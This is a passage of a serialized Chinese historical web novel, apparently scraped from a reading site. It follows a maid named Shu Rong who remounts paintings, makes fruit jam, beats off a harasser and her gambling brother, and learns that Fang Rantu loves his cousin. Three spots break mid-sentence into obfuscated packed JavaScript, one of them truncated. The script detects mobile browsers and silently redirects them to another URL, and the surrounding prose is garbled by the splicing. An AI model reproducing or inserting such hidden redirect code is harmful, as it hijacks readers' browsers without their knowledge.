绿影没有在,她便自己去竹香院中取午食,下午又拣起绣活尝试着给自己绣一方手帕。 第二日一早刚过卯时,绿影就回来了。 “姑娘,我回来了。”绿影跑到舒容面前笑着说道。 见她脸色好了不少,舒容问道:“怎么回来这么早,你娘和弟弟的病可请大夫看过了?” “看过了,昨天已经吃上了药。大夫说虽然看着病势凶猛,但用药及时,好好将养一段日子就会痊愈。我担心姑娘你没人在身边服侍不方便,所以今天一早我就坐同村的牛车回来了。” “吃过早食了没有?小厨房里有点心你自己拿来吃。” “我吃过了,谢谢姑娘。” “绿影,那你跟我来趟书房,我给你看一样东西。”舒容道。 看到舒容从书里头取出夹着的几乎全新的借条,绿影激动不已,“姑娘,真的补好了,太好了!” 见她高兴的笑容,舒容也很是开心。她把借条交给绿影,“好好收着。” 绿影父亲第二日便来取走了借条,过了两天又将讨回来的五两银子并一大篮子自家种的枇杷让绿影交给舒容。绿影家的枇杷好吃,但数量实在是太多,舒容便想着做成枇杷酱来保存。她们的小厨房还从未动过火,也想着借此开火,以后兴致来了可以在小厨房里做些吃食。 她和绿影两人将剩下的枇杷每个都剥皮去核,再将枇杷肉放进锅里熬煮,适时加入冰糖,等熬到酱汁浓稠便可以装入洗净晾干的小陶坛中。一大篮子枇杷做成果酱后也只得四坛,往采晖堂送去两坛,竹香院送去一坛,最后她们也只得一坛。 舒容拿枇杷酱给自己和绿影各冲了一碗水,金黄的枇杷果酱让白开水也变得好喝起来。 “姑娘,你这个做法好,下次我也跟我爹说,让我娘给弟弟妹妹做些来喝。” “这个不仅可以调水喝,放到白粥里或者拿来蘸馒头也是好吃的。只是天气马上要热起来,不能做多了。” 转眼又到舒容去荣古斋的日子,她仍是一大早就去到店中。画在大墙上的效果很好,揭下来把画正面朝下铺在衬纸上便开始打蜡蚜光,蚜光是个力气活,舒容做完后感觉整个手臂都酸痛不已。蚜光好后再用马蹄刀裁去多余的废边便要制作天地杆。原来画的天地杆用的就是店中的杉木料,舒容发现店中有已经打磨好的天地杆便拿来用。 不过没有现成的安装轴头用的糯米灰浆,她本该提早准备好,想着裱房里工具齐全就忘记了这件事。刚想出门去找材料来现做,打开裱房的门就见胡掌柜手里拿着一个陶碗等在院子里。 “胡掌柜,你这是?” 胡掌柜走近,将手里的陶碗拿给舒容看,“容姑娘,这是我刚做好糯米灰浆,知道裱房里没有,特地给你拿来。” 舒容高兴地从胡掌柜手中接过陶碗,“胡掌柜,我正是缺这个。” 原画的轴头是用的檀木,她也就用店中的檀木轴头装好。最后再装好铜鼻,穿好丝线系上丝绦,一副画也就最终装裱完成。舒容收拾好裱糊台,看着自己的作品心中升起一股久违的喜悦, “亲爱的主人,恭喜你完成一副作品,目前作品累计一。”舒容脑海中传来7749的声音。 她把门打开,邀请胡掌柜进来看成品。胡掌柜观察舒容装裱好的画,同他使用的都是一样的器材,但出来的效果却是天差地别。舒容做的画面平整,细节考究,画心和裱件相得益彰。 胡掌柜感叹道:“容姑娘的裱褙技艺果然高超,不知道是在哪里习得的?” 舒容想了想,道:“以前同一位师傅学的。” 胡掌柜想着舒容的师傅定是装裱大师,她没有说出来他也没有继续追问, 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153946|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了取画那日,李全领着他那三个朋友一大早就来到故荣斋店里。胡掌柜见到来人便热情相迎。 “李秀才,快请进。”胡掌柜请四人到店中椅子上坐下,又让胡顺奉上茶水。 四人俱未动茶水,李全开口问道:“胡掌柜,我今日不是来饮茶的,画可修好了?” “自然,自然,容姑娘妙手天成,画已经重新裱褙过了,我这就取来给您看。”胡掌柜说完就去后院请在裱房中的舒容。 舒容仍旧戴上帷帽,手中捧着画穿过门帘走进店中。胡掌柜从舒容手中拿过画,轻轻展开铺平擦拭干净的柜台上,侧过身,对椅子上的李全说:“李秀才,请看。” 李全从舒容出来后眼睛就没有移开过,他今日为了见舒容还特地穿了新做的衣裳,只是华美的衣衫与他的矮胖身材不相衬,愈发显得他像个矮冬瓜。 “李秀才,请看。”胡掌柜见他没动身,又喊了一声。 李全方才起身,行至柜台前观看,所有的虫洞皆被补全,且没伤画心分毫,画心与裱件之间镶嵌得细密平整,给他的《喜鹊登枝图》增色不少。 “妙,妙!姑娘技艺果然不错。” 李全的称赞之语让他的朋友也好奇起来,纷纷凑近看。 “这竟是比之前裱得还要好上几分。” “实乃佳品。” “俗语有云,三分画七分裱,李兄此画并非凡品配上这装裱更是锦上添花了。” 见李全对画十分满意,舒容出声道:“李秀才,我们有言在先,画若补好我收你十两银子的工费。” 李全闻言走到舒容面前,笑道:“姑娘莫急,小生岂是赖账之人?十两银子早已备好。” 说着从袖间取出一个荷包,他将荷包拿在手里,又问舒容:“不知姑娘如何称呼?以后小生若还有画需要装裱可往何处寻你?” 舒容笑道:“小女子名唤容一,今后公子若还有需装裱的书画皆可到故荣斋。” 舒容此前已经和胡掌柜商议好今后在故荣斋中做装裱师傅,以单计价,与故荣斋五五分成。 李全将银子交给舒容,“如此甚好,以后我等的装裱都定来故荣斋寻容姑娘了。这是十两银子,容姑娘清点清点。” 舒容打开荷包,里头是十个一两银子的银锞子,“数量正好,多谢惠顾。容一还有事在身先行离开,告辞。” 舒容说完便往里间院中去了。李全伸长脖子看向她走的方向,胡掌柜走到李全近前,开口道:“李秀才,此前是老朽技艺不精致使此画被蠹,现特赠檀木画匣一个,聊表歉意。” 胡顺从柜台后面捧出一个做工精美的檀木画匣,李全见了点点头。 没有舒容在,李全也没有久留的意思,包好画后就随即离开。 胡掌柜让胡顺照看店面,他去往后院找舒容说话。此刻舒容正站在梨树下望着满树的青果,头上的帷帽未除,只将面纱撩起别于耳后。见胡掌柜过来,舒容问道:“胡掌柜院中这棵梨树看来有些年头了。” 胡掌柜望着梨树繁茂的枝叶,感慨道:“是啊,这棵酥梨树还是我幼年是母亲所植,已有五十余年了。” 舒容把李全给的荷包拿给胡掌柜,胡掌柜连忙推脱道:“容姑娘,不可,不可,你已经帮了我大忙。若是李秀才此事处理不好,老朽这铺子就算是毁了。这十两银子我万不可再收下。” “胡掌柜,虽则修画凭的是我的技艺,但若无齐全工具和场地,巧妇也难为无米之炊。何况你我二人已经商定好合作,何不把这一单当做我们合作的第一单呢?”说着舒容从荷包取出五两银子交给胡掌柜。 胡掌柜见她如此说,也只得收下。 “胡掌柜,今日无事,我便先行离开。此后若无事我便逢五逢十到店中,若有客人需要修画便等我看过再做决定。” “好,我知道了。” 舒容放下面纱准备离开,胡掌柜拦住她道:“容姑娘,我这后院有一小门通往外头小巷,姑娘若嫌店里人多眼杂,便可从此处出入。” 说完便为舒容引路。 舒容拿到银子,心中美滋滋,坐在香饮子摊前连要了三碗不同的香饮子喝个痛快。就在舒容庆祝自己事业重新出发时,方二公子正在为表姐伤神。 14. 表姐的心思难猜 自打上次舒容说要投其所好送礼后,方冉途想着表姐素爱丹青,便托褚炤寻到了好些难得的颜料亲自拿到落梅院送给表姐。可表姐对颜料并没表现出几分欢喜的意思,他方才觉得这礼物送的不甚妥帖,又思忖着要另外再送什么让表姐高兴,一时间满心满脑都想着这件事。 “冉途,你最近魂不守舍的却是为何?”褚炤对方冉途和他一起喝酒还如此神游天外有些不快,他为了今日请他到府中做客可是偷了父亲珍藏的梨花酿。 “唉,你不懂。”方冉途语带忧伤地道。 “你不说明怎知我不懂?”褚炤看他眼中流露出若有若无的情意,便兴奋道“你莫不是为了姑娘发愁吧?” 说完便看好戏一样望着方冉途,见他端着酒杯的手忽然顿住。 “我说中了!” 褚炤用手指着方冉途,随即抚掌大笑道:“好啊好啊,你也有今日,昔日尽是京城里的小姐们思你切切,你今日也为人牵肠挂肚了。” 方冉途没在意他的调笑,只将杯中酒饮尽,又执起酒壶为自己斟上一杯。 见他不搭理自己只顾闷头饮酒,褚炤起身夺去他手中的酒壶放在自己近旁。随后坐回原位把手支在桌上托着脑袋歪着头问他:“你倒是说说看因何故发愁,我虽学识才气不比你方二公子,但在男女之事上我却是更有经验。” 方冉途想起褚炤确实有过几桩风流韵事,在猜度女人心思方面或许是比自己更有经验,他叹了口气道:“你说我该送一个喜欢丹青的姑娘什么礼物?” 褚炤对方冉途的回答颇到意外,俄而想到他前些日子托自己找的颜料怕就是送给这个姑娘的,只是也没听说他近来同谁家姑娘有过接触。不过好友既然诚心发问,他也认真思索起来。 良久后他道:“若这个姑娘喜欢丹青,颜料送了她不喜欢,不妨试试文房四宝中的其他东西。我昨日听闻翰墨阁新得两锭前朝制墨大师季云风所制的两块珍品松烟墨,此墨极是难得,据传当年也制成不过十块。翰墨阁能得到这两块也是因为他家与季云风后人有些关系。想来若这姑娘真的喜好丹青得到此墨应当会欢喜。” 那日他去给表姐送颜料时见表姐所用的松烟墨只剩半锭,想来表姐是喜欢的。他脸上的愁容一扫而空,亲手给褚炤斟酒,笑道:“期盈,此事若是如你所言,我定重重谢你。” 褚炤从他手里接过酒,一口饮尽,不在意道:“等你抱得美人归再来谢我吧。” 开解完方冉途的心事后,褚炤棋瘾上来又拉着他对弈,一直到二更才派家仆送他回府。 方冉途一觉醒来便骑马往翰墨斋去。那翰墨斋距离城北的墨香街不过一街之隔,是城中最大最好的文房四宝专卖店,临街四个铺面打通,有三个楼层售卖各色书房所用器具,其中三楼专做达官贵人的生意。 他到翰墨阁不过辰时末,翰墨阁的小厮也才刚刚打扫好店铺准备开门迎客。方冉途直奔三楼,找到翰墨阁的李掌柜,他家也是翰墨阁的常客,因此与李掌柜也是旧识。 见他一大清早来到店中,李掌柜连忙走出柜台出来与他寒暄,“方大人近来可好?” 方冉途拱手还礼道;“托您的福,一切都好。咱们是熟识我就开门见山了,我是为了季云风的两块松烟墨来的,不知此物可还在店中?” 李掌柜笑道:“方大人消息倒是灵通,这两块松烟墨昨日才到我店中,还不曾上架售卖。若方大人想买,我即刻给方大人包起来。” “不知作价几何?”方冉途今日带了一千两银票,不知道够不够付。 “此物稀有,但我们也是老交情了,我做主给你二百两银子一锭。” “好,那把两块都给我包起来。” 等待李掌柜包装的时候,方冉途走到旁边的货架闲逛起来,货架上一樽珊瑚笔架甚是精美吸引了他的目光,他走近细细赏玩起来。就在此时,店内传来一个响亮的女声,“掌柜的,听说你们新得了两块好墨,我们郡主要了。” 方冉途从货架的缝隙中往外看,来人正是之前在街上见过的,明华郡主身边的丫鬟。 李掌柜也认得此人,忙赔礼道:“姑娘,好是不巧,那墨已经卖出去了。” “这么快就卖出去了?掌柜是觉得我赵王府付不起墨钱唬我吗?”韩瑟瑟身着一身水红色月华裙大摇大摆地走到柜台前,一双眼似笑非笑地看向李掌柜。 “哎呀,郡主说的哪里话,草民哪敢欺瞒郡主,实在是已经卖出去了。小店中有新到的徽墨也是佳品,郡主不妨看看。”李掌柜弓着身子向韩瑟瑟赔罪道。 “哼,你那些墨怎么比得上季云风做的。你说说是谁买了,我倒要看看是谁敢和我明华郡主抢东西。”她语气中尽是不屑。 “这……”李掌柜斟酌着没有说出口。 方冉途转身走到柜台前,开口道:“下官参见明华郡主,这墨正是下官买的。” 韩瑟瑟看到突然出现的方冉途有些吃惊,虽然他母亲拒绝了他和她的婚事,她父王已经和永襄王商定好明年让她与永襄王世子成亲。但她见到他还是忍不住地心动,明明知道他不喜欢她。 见他看向自己,韩瑟瑟骤时换作大方端庄的姿态,笑着开口道:“原来是方大人所买,明华本来是想买这墨送给我父王做寿辰礼物的,我父王极爱季云风的墨,既是方大人买下也就罢了。” “下官买此墨也是为了赠人,故而无法拱手相让,若郡主不嫌弃的话,小官愿分郡主一锭,不知郡主意下如何?” 韩瑟瑟浅笑道:“如此便谢方大人肯割爱了。” “郡主不嫌弃就好。”方冉途回道。 看到方冉途,韩瑟瑟就忍不住拿他和永襄王世子比较,她嫁不了这样的翩翩公子倒要嫁给一个只知眠花宿柳的酒囊饭袋,一时间对方冉途竟无端生出恨意来,恨他让自己落入深渊却不肯搭手营救。面对自己又爱又恨的感情,她无法再面对他,便转头对李掌柜说道:“掌柜的,今日把墨送到赵王府来。” 说完又微笑着对他说:“方大人,我还有事就先走了。” 方冉途恭敬行礼道:“郡主慢走。” 韩瑟瑟走后,方冉途拿着包好的那块松烟墨回了方府,预备午后去落梅院送给表姐。 落梅院中,穿着粉色绣合欢花纹交领袄,头发挽成堕马髻,斜插两只素白玉簪的蒋念鸿歪在锦榻上看书。这本书是她当年嫁到京城前那人送的,讲的是青梅竹马的小姐泪别竹马嫁入高门后与夫君琴瑟和鸣,相携一生的故事。她把这本书读过很多遍,并非因为书中的俗套故事,只是因为送书的人。 “小姐,二少爷来看你了。”映雪进来禀报道。 蒋念鸿把书递给身边的凝霜让她放到自己的床头,又起身坐正,方才让映雪把人请进来。 方冉途特意穿的瓷白色宋锦做的道袍,配上青玉的发簪,显得整个人清爽自然。表姐曾经夸过他穿白色衣裳好看,因而每次见表姐他都爱穿白色。 “冉途见过表姐。表姐的病可好些了?”方冉途关心地询问道。 “表弟快请坐,多谢表弟关心,我的病是老毛病了,吃了药已经有些起色。”说完又对旁边的丫鬟道:“映雪,快给二少爷看茶。” 方冉途在锦凳上坐下,才想起自己手里拿的锦盒,便道;“表姐,我今日是来给你送一块松烟墨,这墨是我前些日子得的。知道表姐喜欢丹青,便想着送给表姐用,我平素不好画画,放在我那里也是浪费了。” 方冉途将锦盒交给蒋念鸿身边的凝霜。 “那便多谢表弟了。我确实爱用这松烟墨,墨色含蓄自然,我最喜拿它来画山水。”蒋念鸿脸上漾起笑容,瓜子脸上的愁绪都散去不少。 看见她脸上流露出真心的笑容,方冉途心中也甚是得意,他送的东西能得表姐喜欢,他便心满意足。 映雪将茶水奉上,蒋念鸿道:“前些日子姨妈给了我一小坛枇杷酱,说是你房里人做的,我早食拿来调粥倒很是喜欢,想来这姑娘定是个心思灵巧之人。” 听表姐说起枇杷酱,他也记起康平提到过舒容往竹香院里送过一坛,只是他不喜欢吃这些让康平拿去吃了。没想到表姐倒是喜欢,早知这样他便该把枇杷酱送来落梅院的。 “表姐若是喜欢,改日我再让人送些过来。”他笑道。 蒋念鸿想起枇杷酱可口的滋味,便笑道:“那我就厚着脸皮收下了,只是辛苦那位姑娘了。我这里有一副上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,今天一大早我就吩咐管家去翰墨阁买墨,掌柜告知已经卖出去了。我担心你买不到墨又伤心一场,所以特地来府上宽慰你的。” 见方冉途自顾自走到石凳上坐下,也不理他,他又自夸道:“若我这般的朋友实则少矣。” 不想再听他絮叨,方冉途开口道:“那松烟墨是我买的。” “你买的,那你不早说害我白担心一场。”褚炤走到他对面的石凳上坐下,又问:“那墨你可送出去了?” 方冉途抬头看他一眼,嘴角上挑,微微点头道:“嗯。” “看你样子我就知道,我出的主意没错吧,看来佳人很是喜欢。”褚炤得意洋洋道。 他端起茶杯吃了一口茶,看向凉亭旁茂密的黄木香丛,阳光下黄色的花球分外醒目,那花又开得密密匝匝,几乎形成一道厚实的花墙。回过神来又想起方才竹香院小厮说方冉途早上回府后便只去了表小姐在的落梅院,他看向方冉途吃惊地嚷道:“方冉途原来你喜欢表姐。” 方冉途连忙用手捂住他的嘴,瞪着眼睛警告他,“此事不许往外说。” 在凉亭外黄木香丛后的舒容,恰好听到这令人震惊的秘密。她本来是准备来竹香院找绿影的。绿影先前对她说竹香院凉亭旁的木香花开得好,想剪些下来插瓶。她在屋里半天不见绿影回来,便到竹香院来寻她,没想到刚好听到这一切。她怕被人发现,连忙转身离开。 知道好友秘密的褚炤再三保证会守口如瓶后在好友警告的眼神中离开方府,兴致勃勃地往朝云楼听曲去了。 等舒容回到竹香院时绿影已经在院子内的大理石桌上整理她剪回来的花材。见舒容从外面回来,她开口问道:“姑娘你快过来看我剪的月季,先前去竹香院剪木香,厨房的李大娘碰见我跟我说荷风院靠近池塘那边有丛很好的月季,我过去看果然开得好,便剪了一些回来。姑娘你闻闻,特别香。” 舒容和绿影把花插了满满两个花瓶,预备两人屋子里各放一个。 两主仆刚刚把花插好,康平就到桂馨院来传话,说是方冉途让她去竹香院一趟,有事要对她说。 15. 舒容一日连打两小人 去竹香院的路上,舒容一直在想是不是自己刚刚偷听被方冉途发现所以要对她警告一番,又回想起自己刚才动作十分小心应该是没有人看到她才对,她一时想不明白,便如此惴惴不安地来到方冉途的书房。 方冉途此时正坐在书案前刻章。 “奴婢见过二少爷。”舒容恭敬地请安。 听到她的声音,方冉途便停下手中的动作,抬头看向她道:“你过来啦,我有事要对你说。” 见他脸上并无愠色,应该不是要责难她,舒容放下心来,笑道:“不知二少爷要吩咐什么?” 他指着书桌上的两个锦盒,道:“这上面一个是表小姐给你的,你上次做的枇杷酱母亲给了表姐一坛,她很是喜欢,所以特地让我把这副镯子送你给你。下面的红玛瑙璎珞是我送给你的,我想你可否再做些枇杷酱出来,表姐难得有喜欢的吃食,你便再做些送到落梅院去。” 舒容想原来是这件事,让她白白担心一场。不过她的厨艺能被人认可,她也开心得很,便笑道:“表小姐能喜欢奴婢做的吃食是奴婢的福分,近来正是枇杷上市的时候,奴婢再做一些送到落梅院就是。只是这礼物未免太贵重了些,奴婢不敢收下。” “既是给你的,你收下便是。”方冉途扫了一眼舒容,头上还是戴着上次的珍珠发簪。 又得两件珠宝,舒容有些高兴,以后等她要用钱时这些宝贝都是可以变现的。她笑着对方冉途说:“那奴婢便谢过表小姐和二少爷,明日我便在桂馨院制酱,做好就往落梅院送去。” “你做完先送到我这里来,我亲自给表姐送去。”方冉途打断她说道。 既然知道方冉途的心思,听到他这样说舒容也觉得合情合理,谁不想多见到自己的心上人呢。 “好的二少爷,我做好先送到竹香院来。” “好,没其他事了,你拿着东西回去吧。” 回到桂馨院舒容把新得的首饰收好,便准备叫上绿影去街市上采买枇杷。还没动身,康平就领着两个小厮过来,“舒容姑娘,二少爷让我派这两个人给你差使,还有这二十两银子用作买东西的费用。” 舒容道谢后接过银子,方二少爷有时候真是大方,为了回报他的慷慨,舒容决定多做几种果酱。他们一行去了城东最大的街市,在生果铺中买了当季的枇杷、杏子,樱桃和黄梅,为了平衡口感,舒容还买了生果铺中仅有的半筐宜母子即柠檬。因天气渐热果酱不能长时间存放,每样水果只买了几斤。 又在杂货行里买了十斤冰糖和三十个装果酱用的小陶坛。她买的水果和冰糖都是选的品相最好的,每斤比普通的多出几文钱,一共买下来花了五两银子不到,剩下的十五两银子就充到她的小金库中了。 第二日,在绿影和那两个小厮的帮助下,舒容花了一整天的时间熬好了四种果酱。每种果酱得了四坛,她留下一半准备给采晖堂送上一份,再留一份在桂馨院,剩下的一半全让小厮送到竹香院了。 给采晖堂的那份她第二日一早就亲自送了过去。何夫人很是喜欢还留她在采晖堂中吃了午膳。 方冉途看到舒容做的各色果酱很是满意,下值后便亲自送往落梅院。蒋念鸿因来了月事身体不适卧床休息,只让映雪说她头痛不想见客打发他回去了。方冉途为表姐病情担忧,又对见不到表姐心中失落不已。 转眼又到去故荣斋的日子,舒容到店里的时候胡掌柜正在店中等她。 “容姑娘,你可算来了。”胡掌柜见她高兴地说道。 两人步入后院,舒容摘下帷帽,笑道:“怎么?这么盼着我来,可是有单子要做?” 胡掌柜笑道:“容姑娘可是猜准了。昨天店里来了一个大单子,是李秀才介绍的同乡,在京城里做木材生意的冯大掌柜,他要裱六幅画用来送礼。” “那倒真是个大单子,画已经送来没有,客人说要裱成什么样式?”舒容问道。 “画已经送过来了,六幅南派画师素应的《江南烟雨图》,说是裱成跟李秀才家那样的单色立轴就好。我同他谈的每幅画十两银子,昨日已经付过十两银子的定金,等到取画时再付剩下的五十两。” 六十两银子,舒容对接到这样的大单也很高兴,只是店中只有他和胡掌柜会做装裱,有些担心时间紧张,便问道:“客人可有说何时来取货?” “半月后。”胡掌柜道。 “那时间倒是充裕。”舒容放下心来。 胡顺看店,舒容便和胡掌柜一起在裱房忙活。因为浆糊不够,胡掌柜便治浆糊。舒容负责方纸,托画上墙,挨个做好六幅画后时间已经到了申正。舒容收拾好裱糊台便和胡掌柜告辞回家。 想起上次绿影说喜欢吃好味斋的云片糕,她便想着绕路去买上一些。刚走出故荣斋在的那条小巷,舒容便觉得身后似乎有人跟着自己。她故意走到对街的一处小巷的拐角,躲在墙边的隐蔽处,观察来者是谁。 李全今天特意来故荣斋蹲舒容,他昨日带着同乡到故荣斋本想再见佳人,没成想舒容根本不在店中。听胡掌柜提起舒容今日会来,他一大早就到故荣斋附近的茶摊子上坐定等着舒容出来。从早上等到下午,好不容易盼到她从故荣斋出来,他立马就跟了上来。 “这人哪里去了?刚刚还在。”李全环顾小巷,根本没有舒容的身影。 见只有李全一个人,舒容现身,走到他身后道:“李秀才找我?” 李全冷不丁听见声音被吓得浑身一震。转身看见是舒容,又见四下无人,脸上便堆起色眯眯的笑,“容姑娘,在下当日一见就对你倾心不已啊。” 他说着就想要上前来掀开舒容的面纱。见舒容往后退了一步,他便以为是舒容害怕了,胆子愈发大起来,“容姑娘,我有功名在身,家中也有百亩田产,跟着我不会吃亏的。你呀,就从了我吧。” 说完就张开手想要抱住舒容,舒容一个侧身拽住他的胳膊将他摔打在地,李全发出杀猪般的嚎叫声。他没料到舒容这个弱女子竟然会武功。他企图挣扎奈何身体根本不听使唤,短手短脚根本不是舒容的对手。舒容拉住他的手用腿抵着他的背将他摁倒在地。李全觉得自己的手几乎要被舒容扯得脱臼,连连求饶,“容姑娘,我错了,我错了,我再也不敢肖想你了,你大人大量放过我吧。” 舒容也没有想把人打残,只是想教训他一番,听到他求饶便卸了手劲。冷声道:“李秀才你昨日给我介绍大单子我很感谢你,不过一码归一码,你下次再敢做这样的事……” 她活动自己的双手,骨节发出嘎吱嘎吱的声音,用温柔的声音说道:“我废掉你一只手。” 李全被她吓得浑身僵住,整个人挺尸一样趴在地上,舒容格外温柔的声音仿佛是来自地狱。 见他没有反应,舒容蹲下身用手敲了敲他的脑袋,“你记住了没有?” “记住了,记住了,我再也不会招惹你了。”李秀才耸着脖子颤声说道。没想到他李全堂堂男子今日竟被一个女人打了,心中好不郁闷。 舒容脸上这才露出满意的笑容,拿出手帕擦了手,又整理了衣裳慢步走出了小巷,往好味斋的方向去。 李全见她走出小巷后,才爬起来,瘫坐在地上,良久后才一瘸一拐地走出小巷。 买完茯苓糕,时候已经不早,舒容快步走着想要快点回到方府,她怕绿影迟迟不见她回来担心她。 快走到方府的时候,舒容在街口看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161191|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了一个熟悉的身影蹲在墙根下,嘴里叼着一根狗尾巴草,一双眼睛不断瞟着街上的行人。舒容不想和他打照面拐了个弯准备从另一条路回方府,没料到对方竟然跟了过来。 见舒容穿得一身好料子,手里还拿着东西,舒力觉得妹妹肯定在方府里受宠。两人一母同胞,她成了府里少爷的通房,过上了好日子。自己这个亲哥哥还在庄子上做苦力,她见了自己竟然还躲着走,简直岂有此理。 “舒容,你给我站住,你别以为你戴个帷帽我就不认识你。”舒力跑上前拽住舒容的衣袖喊道。 舒容甩袖挣开他的手,冷声道:“是我,你想做什么?” 舒力把嘴里的狗尾巴草一口吐在路边,“哼,我就知道是你。你见了哥哥不问好还自己跑了,你心虚了吧。” “我只是怕粘上你这块狗皮膏药而已,怎么又想找我要钱去赌坊?”舒容鄙夷道。 “你如今当上了少爷的通房,怎么都该给我点银子花花。要不是当初夫人把你挑走,我早都有五十两银子了。”想起没能把舒容卖给明二宝,他心里头至今都惋惜不已。 舒容翻了个白眼,笑道:“你想要钱是不是,刚好我身上有银子,你跟我到那边的巷子里。” 舒容又走到之前打了李全的那个巷子里,还是一样安静无人。看来她今天出门没有看黄历,竟然遇到两个小人。 舒力倒不疑有他,只觉得舒容被自己的话吓住了,毕竟除了前一阵子她有些不对劲外一直是个乖妹妹,父母死后对他的话简直是言听计从。他跟着舒容到了那小巷深处,见舒容突然停住,他便开口道:“快给我银子,我还急着回庄子上,你不知道现在那个女庄头有多严格。” 舒容将云片糕先放到一旁的石头上,再慢腾腾从袖口里取出荷包。舒力见她荷包胀鼓鼓,更是眼馋得不行,他已经想到等他拿了钱后便去赌坊里赌个通宵,心里美得不行。他等了许久却见舒容只是把荷包拿在手里,没有要给他的意思。 “舒容,你什么意思?”他说着就要伸手去抢。 舒容侧身躲开,讥笑道:“当然是耍你的意思。舒力,你一个大男人本可以自食其力,是你自己自甘堕落成为烂赌鬼,还想着拿我的钱去供你赌博,你简直在白日做梦。” 舒容把荷包收好。 舒力恼羞成怒,“舒容,你不就是仗着自己长得好看才被夫人选中的,等没了这幅样貌,看你还怎么得意。” 他瞥见路边有几块碎石头,他弯腰捡起一块就朝舒容面门砸去。 舒容见他的动作,闪身躲过,拿起路边的一根竹竿劈头盖脸朝舒力打去。舒力招架不住,被打倒在地,整个人狼狈不堪,双手抱头跪地求饶。 “妹妹,妹妹,你饶了哥哥吧,哥哥再也不敢了。你只有哥哥一个亲人了啊。”舒力哭着喊道,连鼻涕都流了出来。 舒容把竹竿放回原地,脸上也忽然流下两行泪来,她知道这不是她的,是原身的。原身和舒力也曾是一对好兄妹,父母在时有过幸福的时光。后来,他染上赌瘾一切就都变了。舒容用衣袖擦去眼泪,她不是原身,她心里没有丝毫对这个烂人的可惜。 舒力在地上哎哟哎呦叫个不停,舒容拿起云片糕,走到他身边冷声说:“别再来找我。” 等她回到桂馨院时天色已近黄昏。 “姑娘,你今日怎么这么晚才回来?绿影担心死了。”刚打开小门,舒容就看见一脸担忧的绿影。 “有些事情耽搁了,你看我给你带了你爱吃的云片糕。快拿去吃吧,我先到屋里去换身衣裳。” 舒容说完就想往屋里去,绿影连忙拉住她,凑近她耳畔小声说:“二少爷来了,就在姑娘屋子里头。” 16. 观音图 舒容刚想向绿影问清楚方冉途来桂馨院做什么,就听见他的声音在她身后响起。 “你去哪里了?”方冉途站在屋檐下,一袭黑色衣袍,格外风流倜傥。 舒容心中赞叹人美果然穿什么衣服都好看。走上前,站在台阶下向他问安:“奴婢见过二少爷,我今日出门闲逛迷了路所以回来晚了。不知二少爷来桂馨院做什么?” 方冉途居高临下地看着她,见她还是那副乖巧模样,头上仍是只簪着两根素银簪。他开口道:“我今日路过珍宝阁,给你买了三套头面回来,你进来看看可还喜欢?” 听到是给自己送东西来,舒容舒了口气。只是不知方冉途为何突然想给自己送首饰,她摸了摸自己头上的两根银簪,莫不是嫌她穿戴太寒酸。她只是觉得少簪一些头不会那么重,之前尝试戴了何夫人送的一整套头面,一天下来整个脖子都僵住了。 方冉途说完话就转身进屋了,舒容见状也快步上台阶跟着进屋。 桌子上放着三个锦盒,锦盒中摆放着三套不同材质的头面,珍珠,白玉和红玛瑙。舒容凑近看起来,每件首饰都做工精湛,那珍珠,白玉和红玛瑙皆是品相极佳。舒容看得有些晃神,这简直是三件高定珠宝摆在她面前,而且是免费送给她的。 舒容笑着向方冉途道谢:“奴婢很是喜欢,多谢二少爷。” 见她脸上满意的笑容,方冉途略微点点头。他今日路过珍宝阁时便想起她往日头上珠钗少得可怜,于是便往楼中买了三套各色头面。 “我还有事,先回竹香院了。”他只是来桂馨院送东西的,倒也没有其他话要和她说。 “二公子慢走。”舒容恭敬说道。 经过舒容身边时,方冉途瞥见她衣裙上有些泥土,出声提醒道:“你衣服上有些尘土。” “啊?”舒容低头看自己的衣裙,下摆处果然有好大一块泥印子,连忙解释道:“这是奴婢笨手笨脚在街上摔了一跤。” 方冉途抬头看她一眼,轻笑道:“以后走路小心些。” 送走方冉途后,舒容换好衣服,便将他送的头面整理好摆放到梳妆台上。 赵王府中,赵王妃李莲依正在后院的小佛堂内礼佛。她当初嫁与赵王后多年不曾有孕,后因在京郊广灵寺中请送子观音像后回家不足一月便查有身孕,诞下世子韩肃。此后便痴迷佛法,每月皆至广灵寺中上香祈福,又在王府中建造小佛堂,每日参拜。 两月后的七月二十是她的诞辰,她欲在此日在王府中新修的佛堂内张挂她多年收集来的佛像画,邀请京中夫人们共同观赏,以彰她礼佛之诚心。 韩瑟瑟自那天在翰墨阁遇见方冉途后,心中的愤懑情绪愈发不可收拾。她着人打听过方冉途身边除了有他母亲送的一个不得宠的通房外,并无其他妾室。只有府中新来一个寡居的表姐,在他家中养病。方冉途对其十分上心,时常亲自往其居处送礼。 